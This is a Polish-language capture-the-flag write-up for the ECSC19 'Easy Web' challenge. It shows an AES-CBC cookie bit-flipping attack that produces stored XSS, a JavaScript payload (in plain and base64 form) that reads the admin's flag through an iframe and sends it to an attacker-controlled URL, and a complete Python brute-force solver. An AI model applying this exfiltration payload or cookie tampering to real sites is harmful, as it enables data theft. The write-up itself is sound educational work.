Easy Web

Zadanie

ecsc19_easyweb.png

W zadaniu otrzymujemy link do strony na której znajduje się formularz z trzema polami: Login, flag, Bio. Po wypełnieniu i wysłaniu formularza, jesteśmy przekierowywani na stronę na której wyświetlone są dane z niego, a oprócz tego dostępny jest przycisk "Factory reset" i możliwość wysłania linku do admina. Niemal na pewno więc flaga znajduje się w polu Flag u admina i musimy ją wyciągnać jakimś XSS'em.

Rozwiązanie

Wpisywane w dowolnym polu formularza znaczki <>"' itp są escapowane - więc najpierw zdecydowałem się znaleźć sposób na wstrzyknięcie JS'a, zostawiając na potem zastanawianie sie co miałby robić.

Wypełnienie formularza na początkowej stronie ustawia ciasteczko session, oraz przekierowuje nas na stronę https://web100.ecsc19.hack.cert.pl/<session> . Jeśli zapiszemy sobie taką sesję, stworzymy nową, a następnie wejdziemy na stary link, zobaczymy stare dane. Wniosek - albo są zapisywane w sesji, albo serwer trzyma wszystkie wygenerowane sesje.

Dosyć łatwo sprawdzić która wersja jest prawidłowa - po podaniu długich danych w formularzu, ciasteczko jest wyraźnie dłuższe, niemal na pewno dane są w nim w jakiś sposób zapisane.

Patrząc jak zależy długość ciasteczka od długości danych, można szybko zauważyć, że (oprócz pierwszych kilku znaków, bo pewnie przy pustym formularzu są już zapisane jakieś dane) zwiększenie długości treści o 16 znaków zwiększa długość ciasteczka (po zdekodowaniu z base64) o 16 bajtów. Mamy więc do czynienia z jakimś szyfrem blokowym. Biorąc jakieś ciasteczko o sensownej długości (tak by miało już kilka bloków) i dla każdego jego bajtu kolejno zmienić stan LSB a następnie wysłać request by sprawdzić czy jest zdekodowane, można się przekonać, że zmiana w końcówce pierwszego bloku przełącza stan LSB w plaintexcie, a w kolejnych blokach czasami spowoduje błąd a czasami także zmieni stan LSB i zrobi śmietnik z całego poprzedniego bloku. Po chwili przeglądania internetu (na kryptografii znam się dość słabo) doszedłem do wniosku, że jest to AES CBC, a pierwszy blok wiadomości to IV, i dlatego możemy modyfikować plaintext bitflipami w ciphertexcie.

Podczas ctfa zmarnowałem też dość sporo czasu, bo wydawało mi się, że klucz do dekodowania też jest w jakiś sposób ukryty w ciasteczku, okazuje się że to chyba jedynie koncówka samej wiadomości, a klucz siedzi bezpiecznie na serwerze, ale dalej nie jestem tego pewien.

No dobra, skoro mamy możliwość pewnego dość ograniczonego zmodyfikowania wiadomości, to zastanówmy się co można z tym zrobić. Ciasteczko sesji jest niestety HttpOnly, więc go nie wyślemy. Możemy za to stworzyć iframe z linkiem https://web100.ecsc19.hack.cert.pl/reset, ponieważ przekierowuje on nas na stronę z danymi zależnymi od naszego ciasteczka, a następnie, ponieważ działamy z poziomu tej samej domeny, wyciągnąć flagę i wysłać na serwer. Mój payload:

function prepareFrame() {
		var ifrm;
		function prepare(){
			ifrm = document.createElement("iframe");
			ifrm.setAttribute("src", "https://web100.ecsc19.hack.cert.pl/reset");
			ifrm.style.width = "640px";
			ifrm.style.height = "480px";
			document.body.appendChild(ifrm);
			setTimeout(extractData, 1500);
		}
		
		function extractData(){
			flag = ifrm.contentDocument.getElementsByTagName("body")[0].innerHTML.match(/Your flag: (.+)/)[1]
			window.location="http://xxx.xxxxxxxxxxxx.xx/xxxxxxxx?" + flag

		}
		prepare();
}
prepareFrame();

w window.location ustawiamy link na który wejścia możemy rejestrować. Cały payload jest wrażliwy na długośc, więc po zmianie linku trzebaby dostosować resztę. By stworzyć payload najpierw weźmiemy ciasteczko z danymi:

login = 'aaaaaaaaaaaaaaaaaaaaa<script>'

bio = 'aa`\n eval(atob(`ZnVuY3Rpb24gcHJlcGFyZUZyYW1lKCkgewoJCXZhciBpZnJtOwoJCWZ1bmN0aW9uIHByZXBhcmUoKXsKCQkJaWZybSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlmcmFtZSIpOwoJCQlpZnJtLnNldEF0dHJpYnV0ZSgic3JjIiwgImh0dHBzOi8vd2ViMTAwLmVjc2MxOS5oYWNrLmNlcnQucGwvcmVzZXQiKTsKCQkJaWZybS5zdHlsZS53aWR0aCA9ICI2NDBweCI7CgkJCWlmcm0uc3R5bGUuaGVpZ2h0ID0gIjQ4MHB4IjsKCQkJZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpZnJtKTsKCQkJc2V0VGltZW91dChleHRyYWN0RGF0YSwgMTUwMCk7CgkJfQoJCQoJCWZ1bmN0aW9uIGV4dHJhY3REYXRhKCl7CgkJCWZsYWcgPSBpZnJtLmNvbnRlbnREb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYm9keSIpWzBdLmlubmVySFRNTC5tYXRjaCgvWW91ciBmbGFnOiAoLispLylbMV0KCQkJd2luZG93LmxvY2F0aW9uPSJodHRwOi8veHh4Lnh4eHh4eHh4eHh4eC54eC94eHh4eHh4eD8iICsgZmxhZwoKCQl9CgkJcHJlcGFyZSgpOwp9CnByZXBhcmVGcmFtZSgpOwo=`))\n`'

flag = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaa</script>'

< i > zostaną zamienione odpowiednio < i > Tag otwierający z login naprawimy zmieniając ; w < i & w >. Tag zamykający odpowiednio. Oprócz tego zmienimy g z > w otwierającym na `, tak samo jak t z < w zamykającym, tak by śmieci pomiędzy tagami a payloadem zmienić w stringi ignorowane przez JSa. W większośći przepadków stworzone w ten sposób śmieci spowodują błąd dekodowania ze względu na niepoprawne znaki sterujące, ale po wystarczającej ilości prób się uda (gdy robiłem to zadanie przed chwilą, by ponownie odczytać flagę bo oczywiście nigdzie jej nie zapisałem, zajęło to prawie 300 prób) . Wtedy wystarczy wysłać link adminowi i odczytać flagę: ecsc19{easy_as_can_be}

Pełny skrypt do rozwiązania:

#!/bin/python3
import requests
import binascii

url = 'https://web100.ecsc19.hack.cert.pl'

def testinput(payload):
	r = requests.get(url + '/' + binascii.b2a_base64(payload).decode())
	return r.text

def get_cookie(login, flag, bio):
	r = requests.post(url, data = {'login' : login, 'flag' : flag, 'bio' : bio})
	return r.url[35:]

flag = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaa</script>'

bio = 'aa`\n eval(atob(`ZnVuY3Rpb24gcHJlcGFyZUZyYW1lKCkgewoJCXZhciBpZnJtOwoJCWZ1bmN0aW9uIHByZXBhcmUoKXsKCQkJaWZybSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlmcmFtZSIpOwoJCQlpZnJtLnNldEF0dHJpYnV0ZSgic3JjIiwgImh0dHBzOi8vd2ViMTAwLmVjc2MxOS5oYWNrLmNlcnQucGwvcmVzZXQiKTsKCQkJaWZybS5zdHlsZS53aWR0aCA9ICI2NDBweCI7CgkJCWlmcm0uc3R5bGUuaGVpZ2h0ID0gIjQ4MHB4IjsKCQkJZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpZnJtKTsKCQkJc2V0VGltZW91dChleHRyYWN0RGF0YSwgMTUwMCk7CgkJfQoJCQoJCWZ1bmN0aW9uIGV4dHJhY3REYXRhKCl7CgkJCWZsYWcgPSBpZnJtLmNvbnRlbnREb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYm9keSIpWzBdLmlubmVySFRNTC5tYXRjaCgvWW91ciBmbGFnOiAoLispLylbMV0KCQkJd2luZG93LmxvY2F0aW9uPSJodHRwOi8veHh4Lnh4eHh4eHh4eHh4eC54eC94eHh4eHh4eD8iICsgZmxhZwoKCQl9CgkJcHJlcGFyZSgpOwp9CnByZXBhcmVGcmFtZSgpOwo=`))\n`'

login = 'aaaaaaaaaaaaaaaaaaaaa<script>'


i = 0
while True:
	s1 = ''
	try:
		s1 = binascii.a2b_base64(get_cookie(login, flag, bio))
	except:
		print("Connection error")
		continue
	d = bytearray(s1)

	d[35] ^= ord(';')
	d[35] ^= ord('<')

	d[42] ^= ord('&')
	d[42] ^= ord('>')

	d[43] ^= ord('g')
	d[43] ^= ord('`')

	d[851] ^= ord('t')
	d[851] ^= ord('`')

	d[852] ^= ord(';')
	d[852] ^= ord('<')

	d[860] ^= ord('&')
	d[860] ^= ord('>')

	s = testinput(d)
	if not s.startswith('an error'):
		print(binascii.b2a_base64(d))
		print(s)
		break
	print("{} : {}".format(i, s))
	i += 1